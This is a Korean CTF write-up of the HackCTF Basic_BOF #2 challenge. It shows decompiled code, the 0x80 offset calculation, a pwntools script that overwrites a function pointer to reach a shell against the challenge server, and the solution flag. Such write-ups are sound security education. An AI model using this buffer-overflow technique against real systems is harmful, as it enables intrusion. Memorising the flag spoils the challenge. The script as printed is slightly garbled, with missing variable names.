[HackCTF / pwnable] Basic_BOF #2

2019. 10. 4. 03:36Wargame & CTF/HackCTF

간단한 버퍼 오버플로우 문제이다.


1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]
 
  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
cs


s를 오버플로우 시켜서 v5를 덮어씌워서 shell 함수를 호출하면 된다.

s와 v5와의 거리는 0x8c-0xc, 0x80이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= ELF("./bof_basic2")
#p = process("./bof_basic2")
= remote("ctf.j0n9hyun.xyz"3001)
 
payload = ""
payload += "A"*0x80
payload += p32(e.symbols["shell"])
 
p.sendline(payload)
p.interactive()
cs


Basic_BOF #2 : HackCTF{h3y_dud3_600d_f0r_y0u}